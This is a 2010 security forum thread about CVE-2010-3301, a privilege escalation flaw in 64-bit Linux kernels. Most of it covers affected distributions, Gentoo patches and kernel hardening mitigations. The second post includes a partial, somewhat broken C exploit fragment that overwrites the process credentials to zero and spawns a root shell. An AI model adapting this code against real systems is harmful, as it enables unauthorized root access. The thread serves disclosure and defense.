• Twitter
  • FaceBook

Security Forums

Log in

FAQ | Usergroups | Profile | Register | RSS | Posting Guidelines | Recent Posts

GNU/Linux local privilege escalation exploit on x86-64

Users browsing this topic:0 Security Fans, 0 Stealth Security Fans
Registered Security Fans: None
Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> UNIX // GNU/Linux

View previous topic :: View next topic  
Author Message
SF Senior Mod
SF Senior Mod

Joined: 21 Sep 2003
Posts: 16777097
Location: Portugal


PostPosted: Tue Sep 21, 2010 6:22 am    Post subject: GNU/Linux local privilege escalation exploit on x86-64 Reply with quote

Found and reported by Ben Hawkes: http://sota.gen.nz/compat2/

Story on slashdot: http://linux.slashdot.org/story/10/09/20/0217204/Linux-Kernel-Exploit-Busily-Rooting-64-Bit-Machines

Red Hat wrote:
The flaw identified by CVE-2010-3301 (Red Hat Bugzilla bug 634449) describes a flaw in the IA32 system call emulation provided in 64-bit Linux kernels, versions 2.6.27-rc1 to 2.6.36-rc4. An improperly validated 64-bit value could be stored in the %rax register, which could trigger an out-of-bounds system call table access. A local user could use this flaw to escalate their privileges. This is a regression of CVE-2007-4573. It was re-introduced by upstream git commit d4d67150, and was later addressed via the upstream git commits 36d001c7 and eefdca04 for the 2.6 Linux kernel.

Red Hat claims their kernel is not vulnerable to this particular bug.

The current stable version of Debian ("lenny") is also not vulnerable, since their kernel is older than when the bug was introduced.

The current stable Gentoo kernel is vulnerable, including the Gentoo Hardened kernel. The problem seems to be fixed in the more recent kernels, which are still undergoing the testing phase and waiting to be marked stable. I have adapted the upstream fix to the current Gentoo Hardened kernel and submitted the patch to Gentoo via the bug report, in the hopes that they will release a GLSA for the current stable kernel soon.

In the meantime, for those of you using Gentoo Hardened, or anyone else who benefits from some form of Grsecurity-enabled kernel, you can severely mitigate the risk of infection by enabling the CONFIG_GRKERNSEC_HIDESYM kernel option (Security options -> Grsecurity -> Grsecurity -> Address Space Protection -> Hide kernel symbols). This will restrict access to the symbols table only to users with the CAP_SYS_MODULE capability (effectively, root).

This effectively breaks the publicly known proof-of-concept by Ben Hawkes, as well as the more malicious exploit by "Ac1dB1tch3z", as they are unable to obtain the addresses of the kernel functions they use in order to alter their task's privileges.
Back to top
View user's profile Send private message
SF Mod
SF Mod

Joined: 08 Jun 2006
Posts: 16777209


PostPosted: Wed Sep 22, 2010 1:52 am    Post subject: Reply with quote

It was commited by blueness on friday to hardened sources, should be available.


Maybe it is still possible to search the memory like in the first exploit of this problem, although that is surely less reliable.


int32_t uid, euid, suid;

static void kernelmodecode(void)
        int i;
        uint8_t *gs;
        uint32_t *ptr;

        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

        for (i = 200; i < 1000; i+=1) {

                ptr = (uint32_t*) (gs + i);

                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID



static void docall(uint64_t *ptr, uint64_t size)
        getresuid(&uid, &euid, &suid);

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                printf("mmap fault\n");

        for (; ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", 0);
        printf("no /bin/sh ??\n");

Credit to Wojciech Purczynski aka cliph from isec.pl
Back to top
View user's profile Send private message
SF Senior Mod
SF Senior Mod

Joined: 21 Sep 2003
Posts: 16777097
Location: Portugal


PostPosted: Wed Sep 22, 2010 2:17 am    Post subject: Reply with quote

Update: new stable Gentoo Hardened kernels are available, safe from this vulnerability, as of 20:39 today (UTC).
Anthony Basile wrote:
Hardened-sources 2.6.32-r18 and 2.6.34-r6 have been marked stable for amd64 in
the tree. See bug #338273.

Please please please test! I realize the urgency to stabilize, but I feel
uncomfortable with the fact that these were marked stable before they'd had
time to mature.


I have since learned from speaking to Anthony Basile (blueness) that the fix had been committed to the Gentoo development tree one day after the CVE was published. The delay was caused because the Gentoo developers wanted to stabilize the kernel before releasing an update. Other unrelated changes had already been introduced during development and they didn't want to fail their compromise to stability.

In the end the above-mentioned fixed versions were fast-tracked for stabilization, due to the urgent severity of the threat.

I should also add that the available mitigation measures were posted to the gentoo-hardened mailing list on Sep 16th, as the vulnerability became known: http://archives.gentoo.org/gentoo-hardened/msg_198c11cd059badc94d26939b8aa79f61.xml

In particular, for anyone who hasn't patched their kernel yet:
Anthony Basile wrote:
As a work around until I get the fix into the tree and fast
track stabilization, keep the following in mind:

1) Whether hardened or not, if you don't have CONFIG_IA32_EMULATION, the
exploits fail.

2) If you hide kernel symbols in /proc/kallsyms, the proof-of-concept
code won't work. You can do that by either not enabling CONFIG_KALLSYMS
on non-hardened kernels, or just set CONFIG_GRKERNSEC_HIDESYM=y on

(However, there may still be ways of making the exploit work even
without symbol info.)

3) On hardened systems, if you enable CONFIG_PAX_MEMORY_UDEREF=y, the
exploits fail even with access to symbol info. If possible, I would
also recommend enabling CONFIG_PAX_KERNEXEC=y.

These measures are effective against the publicly known exploits, and should greatly hinder exploitability in general. Of course (as I meant to have mentioned in my first post but forgot), they are still only a matter of mitigation and defense in depth. There is no guarantee that one couldn't create a smarter exploit that doesn't require knowledge of the symbols, for example -- search techniques as indicated by krugger being one possibility, although that in itself would probably have its own problems with reliability.

In any case, fixed kernels are now available.
Back to top
View user's profile Send private message
Display posts from previous:   

Post new topic   Reply to topic   Printer-friendly version    Networking/Security Forums Index -> UNIX // GNU/Linux All times are GMT + 2 Hours
Page 1 of 1

Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

Looking for more Windows Networking info?

Sign up to the WindowsNetworking.com Monthly Newsletter, written by Enterprise Security MVP Deb Shinder, containing news, the hottest tips, Networking links of the month and much more. Subscribe today and don't miss a thing!
View a sample newsletter.

Become a WindowsNetworking.com member!

Discuss your Windows Networking issues with thousands of other Windows Newtorking experts. Click here to join!

Community Area

Log in | Register

Readers' Choice

Which is your preferred data recovery solution?

Follow TechGenix on Twitter